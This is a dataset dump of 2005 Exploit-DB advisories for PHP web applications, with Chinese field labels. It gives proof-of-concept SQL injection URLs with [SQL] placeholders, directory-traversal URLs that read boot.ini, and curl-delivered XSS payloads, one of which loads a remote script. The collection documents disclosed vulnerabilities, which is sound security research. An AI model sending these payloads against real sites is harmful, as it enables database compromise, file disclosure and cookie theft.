QLWD/code_shield huggingface dataset:
标题: Post Affiliate Pro 2.0.4 - 'index.php' SQL Injection EDB-ID: 26652 CVE: 2005-3909 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15633/info

Post Affiliate Pro is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 2.0.4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/merchants/index.php?tm_userid=_&tm_orderid=&tm_transt
ype%5B%5D=32&tm_transtype%5B%5D=1&tm_transtype%5B%5D=2&tm_transtype%5B%5D=4&tm_transtype%5B%5D=8&tm_transtype%5B%5D=16&tm_transtype%5B%5D=64&tm_status=_&tm_day1=25&tm_month1=11&tm_year1=2005&tm_day2=25&tm_month2=11&tm_year2=2005&numrows=20&filtered=1&md=Affiliate_Merchants_Views_TransactionManager&type=all&list_page=0&action=&sortby=ip&sortorder=[SQL]

http://www.example.com/merchants/index.php?um_name=&um_surname=&um_aid=&um_s
tatus=_&numrows=20&filtered=1&md=Affiliate_Merchants_Views_AffiliateManager&list_page=0&sortby=a.surname&action=&sortorder=[SQL] URL: https://www.exploit-db.com/exploits/26652
标题: Helpdesk Issue Manager 0.x - 'find.php' Multiple SQL Injections EDB-ID: 26638 CVE: 2005-3925 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15604/info
 
Helpdesk Issue Manager is prone to multiple SQL injection vulnerabilities.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Helpdesk Issue Manager 0.9 and prior versions are reportedly affected. 

http://www.example.com/find.php?act=action&reset=yes&detail%5B%5D=[SQL]
http://www.example.com/find.php?page=0&act=action&orderby=sortorder&orderdir=[SQL]
http://www.example.com/find.php?page=0&act=action&orderby=[SQL] URL: https://www.exploit-db.com/exploits/26638
标题: ASP-Rider 1.6 - 'default.asp' SQL Injection EDB-ID: 26645 CVE: 2005-3931 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15617/info

ASP-Rider is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

An example Referer header has been supplied:
http://[SQLINJECTION] URL: https://www.exploit-db.com/exploits/26645
标题: Fantastic Scripts Fantastic News 2.1.1 - 'news.php' SQL Injection EDB-ID: 26647 CVE: 2005-3846 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15622/info

Fantastic News is prone to an SQL injection vulnerability.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Fantastic News 2.1.1 and prior versions are affected. 

http://www.example.com/news.php?action=news&category=[SQL] URL: https://www.exploit-db.com/exploits/26647
标题: Entergal MX 2.0 - Multiple SQL Injections EDB-ID: 26650 CVE: 2005-3958 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15631/info

Entergal MX is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 2.0 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/?action=showcat&idcat=[SQL]
http://www.example.com/?action=[SQL] URL: https://www.exploit-db.com/exploits/26650
标题: GuppY 4.5 - 'archbatch.php?lng' Traversal Arbitrary File Access EDB-ID: 26640 CVE: 2005-3927 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15610/info
 
GuppY is affected by multiple local file include and information disclosure vulnerabilities.
 
An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.
 
It should be noted that these issues may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences and NULL characters to disclose arbitrary files.
 
GuppY 4.5.9 and prior versions are vulnerable. 

http://www.example.com/[path_to_guppy]/admin/inc/archbatch.php?lng=../../../../../../../../../../../boot.ini%00 URL: https://www.exploit-db.com/exploits/26640
标题: GuppY 4.5 - 'dbbatch.php?lng' Traversal Arbitrary File Access EDB-ID: 26641 CVE: 2005-3927 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15610/info
  
GuppY is affected by multiple local file include and information disclosure vulnerabilities.
  
An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.
  
It should be noted that these issues may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences and NULL characters to disclose arbitrary files.
  
GuppY 4.5.9 and prior versions are vulnerable. 

http://www.example.com/[path_to_guppy]/admin/inc/dbbatch.php?lng=../../../../../../../../../../../

http://www.example.com/[path_to_guppy]/admin/inc/dbbatch.php?lng=../../../../../../../../../../../boot.ini%00 URL: https://www.exploit-db.com/exploits/26641
标题: GuppY 4.5 - 'nwlmail.php?lng' Traversal Arbitrary File Access EDB-ID: 26642 CVE: 2005-3927 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15610/info
   
GuppY is affected by multiple local file include and information disclosure vulnerabilities.
   
An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.
   
It should be noted that these issues may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences and NULL characters to disclose arbitrary files.
   
GuppY 4.5.9 and prior versions are vulnerable. 

http://www.example.com/[path_to_guppy]/admin/inc/nwlmail.php?lng=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00 URL: https://www.exploit-db.com/exploits/26642
标题: GuppY 4.5 - 'editorTypetool.php?meskin' Traversal Arbitrary File Access EDB-ID: 26639 CVE: 2005-3927 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15610/info

GuppY is affected by multiple local file include and information disclosure vulnerabilities.

An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.

It should be noted that these issues may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences and NULL characters to disclose arbitrary files.

GuppY 4.5.9 and prior versions are vulnerable. 

http://www.example.com/[path_to_guppy]/admin/editorTypetool.php?cmd=DIR&meskin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F URL: https://www.exploit-db.com/exploits/26639
标题: FreeWebStat 1.0 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26635 CVE: 2005-3959 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15601/info

FreeWebStat is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

FreeWebStat version 1.0 rev37 is reported to affected; other versions may also be vulnerable.

curl "http://www.example.com/fws/pixel.php"
domain=<script>alert(1)</script>
&site=<script>alert(2)</script>
&jsref=<script>alert(3)</script>
&jsres=<script>alert(4)</script>
&jscolor=<script>alert(5)</script>?
-A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3))"
-e "http://www.example.com"

curl "http://www.example.com/fws/pixel.php"
domain=ush.it&site=aa&jsref=http://www.example.com&jsres=1337&jscolor=red?
-e "http://www.example.com/search?q=lello+splendor++&hl=it&lr=&start=
10&sa=N?
-A "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1; SV1; (R1 1.3))"

curl "http://www.example.com/fws/pixel.php"
domain=www.example.com&site=aa&jsref=http://www.example.com&jsres=13
37&jscolor=red? -e "http://www.example.com"
-A "Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3))"

curl "http://www.example.com/fws/pixel.php"
domain=<script>alert(1)</script>&site=
<script>alert(2)&jsref=</script><script>alert(3)</script>
&jsres=<script>alert(4)</script>&jscolor=
<script>alert(5)</script>?
-A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3))"
-e "http://www.example.com"


curl http://www.example.com/fws/pixel.php?site=
&jsres=&jscolor=&jsref=http://www.example.com/search?
q=ppoopp<script language=?javascript?-src=
"http://www.example.com/fws/inject.js?></script>&hl=it" URL: https://www.exploit-db.com/exploits/26635
标题: UGroup 2.6.2 - 'topic.php' Multiple SQL Injections EDB-ID: 26627 CVE: 2005-3872 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: ource: https://www.securityfocus.com/bid/15591/info
 
UGroup is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/topic.php?CAT_ID=1&FORUM_ID=1&TOPIC_ID=[SQL]
/topic.php?CAT_ID=1&FORUM_ID=[SQL]
/topic.php?CAT_ID=[SQL] URL: https://www.exploit-db.com/exploits/26627
标题: ADC2000 NG Pro 1.2 - SQL Injection EDB-ID: 26630 CVE: 2000-0751 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15595/info

ADC2000 NG Pro is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/adcbrowres.php?lang=english&cat=[SQL]
/adcbrowres.php?lang=[SQL] URL: https://www.exploit-db.com/exploits/26630
标题: Randshop - Multiple SQL Injections EDB-ID: 26634 CVE: 2005-3924 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15599/info

Randshop is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

All versions of Randshop are reported affected. 

http://www.example.com/folder/themes/kategorie/index.php?kategorieid=6[SQL]
http://www.example.com/folder/themes/kategorie/index.php?katid=40[SQL] URL: https://www.exploit-db.com/exploits/26634
标题: Netzbrett 1.5.1 - 'P_Entry' SQL Injection EDB-ID: 26629 CVE: 2005-3874 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15593/info

Netzbrett is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

/index.php?p_lng=en&p_days=15&p_cmd=entry&p_entry=1[SQL] URL: https://www.exploit-db.com/exploits/26629
标题: Simple Document Management System 2.0 - 'messages.php?mid' SQL Injection EDB-ID: 26632 CVE: 2005-3877 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15596/info
 
Simple Document Management System (SDMS) is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/messages.php?forum=1&action=view&mid=[SQL] URL: https://www.exploit-db.com/exploits/26632
标题: Simple Document Management System 2.0 - 'list.php?folder_id' SQL Injection EDB-ID: 26631 CVE: 2005-3877 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15596/info

Simple Document Management System (SDMS) is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/list.php?folder_id=[SQL] URL: https://www.exploit-db.com/exploits/26631
标题: UGroup 2.6.2 - 'forum.php?FORUM_ID' SQL Injection EDB-ID: 26626 CVE: 2005-3872 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15591/info

UGroup is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/forum.php?FORUM_ID=[SQL] URL: https://www.exploit-db.com/exploits/26626
标题: Helpdesk Issue Manager 0.x - 'issue.php?id' SQL Injection EDB-ID: 26637 CVE: 2005-3925 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15604/info

Helpdesk Issue Manager is prone to multiple SQL injection vulnerabilities.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Helpdesk Issue Manager 0.9 and prior versions are reportedly affected. 

http://www.example.com/issue.php?id=[SQL] URL: https://www.exploit-db.com/exploits/26637
标题: ShockBoard 3.0/4.0 - 'Offset' SQL Injection EDB-ID: 26628 CVE: 2005-3873 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15592/info

ShockBoard is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/topic.php?offset=[SQL] URL: https://www.exploit-db.com/exploits/26628
标题: EdmoBBS 0.9 - SQL Injection EDB-ID: 26625 CVE: 2005-3870 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15589/info

edmoBBS is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 


/edmobbs9r.php?messageID=1&table=[SQL]
/edmobbs9r.php?messageID=1[SQL] URL: https://www.exploit-db.com/exploits/26625
标题: Softbiz Resource Repository Script - 'report_link.php?sbres_id' SQL Injection EDB-ID: 26616 CVE: 2005-3879 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15585/info
   
Softbiz Resource Repository Script is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/report_link.php?sbres_id=1[SQL] URL: https://www.exploit-db.com/exploits/26616
标题: BerliOS SourceWell 1.1.3 - SQL Injection EDB-ID: 26617 CVE: 2005-3864 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15586/info

BerliOS SourceWell is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/index.php?start=2005-11-28&days=1&cnt=[SQL] URL: https://www.exploit-db.com/exploits/26617
标题: Softbiz Resource Repository Script - 'refer_friend.php?sbres_id' SQL Injection EDB-ID: 26615 CVE: 2005-3879 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15585/info
  
Softbiz Resource Repository Script is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/refer_friend.php?sbres_id=1[SQL] URL: https://www.exploit-db.com/exploits/26615
标题: K-Search 1.0 - SQL Injection EDB-ID: 26619 CVE: 2005-3868 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15588/info

K-Search is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/index.php?term=%23%25%23term%23%25%23&sm=Mekl%E7t&source=1&req=search

/index.php?term=%28%27r0t+checker%27%29&sm=Mekl%E7t&source=1&req=search

/index.php?req=edit&id=[SQL]
/index.php?req=view&act=stat_all&stat=[SQL]
/index.php?req=view&act=status&id=1&stat=[SQL]
/index.php?req=view&act=status&id=[SQL]
/index.php?req=delsite&id=[SQL]
/index.php?req=search&source=[SQL] URL: https://www.exploit-db.com/exploits/26619
标题: Bedeng PSP 1.1 - 'download.php?a.ngroup' SQL Injection EDB-ID: 26610 CVE: 2005-3953 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15583/info
 
Bedeng PSP is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/download.php?cwhere=a.ngroup=[SQL] URL: https://www.exploit-db.com/exploits/26610
标题: Bedeng PSP 1.1 - 'index.php?a.nsub' SQL Injection EDB-ID: 26611 CVE: 2005-3953 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15583/info
  
Bedeng PSP is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/index.php?cwhere=a.nsub=[SQL] URL: https://www.exploit-db.com/exploits/26611
标题: phpWordPress 3.0 - Multiple SQL Injections EDB-ID: 26608 CVE: 2005-3844 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15582/info

PHPWordPress is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

PHPWordPress versions up to and including 3.0 are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/index.php?poll=[SQL]
http://www.example.com/index.php?category=[SQL]
http://www.example.com/?archive&ctg=[SQL] URL: https://www.exploit-db.com/exploits/26608
标题: AllWeb Search 3.0 - SQL Injection EDB-ID: 26618 CVE: 2005-3865 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15587/info

AllWeb Search is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/index.php?search=[SQL]&type=web URL: https://www.exploit-db.com/exploits/26618
标题: Bedeng PSP 1.1 - 'baca.php?ckode' SQL Injection EDB-ID: 26609 CVE: 2005-3953 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15583/info

Bedeng PSP is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/baca.php?ckode=[SQL] URL: https://www.exploit-db.com/exploits/26609
标题: Softbiz Resource Repository Script - 'details_res.php?sbres_id' SQL Injection EDB-ID: 26613 CVE: 2005-3879 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15585/info

Softbiz Resource Repository Script is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/details_res.php?sbres_id=[SQL] URL: https://www.exploit-db.com/exploits/26613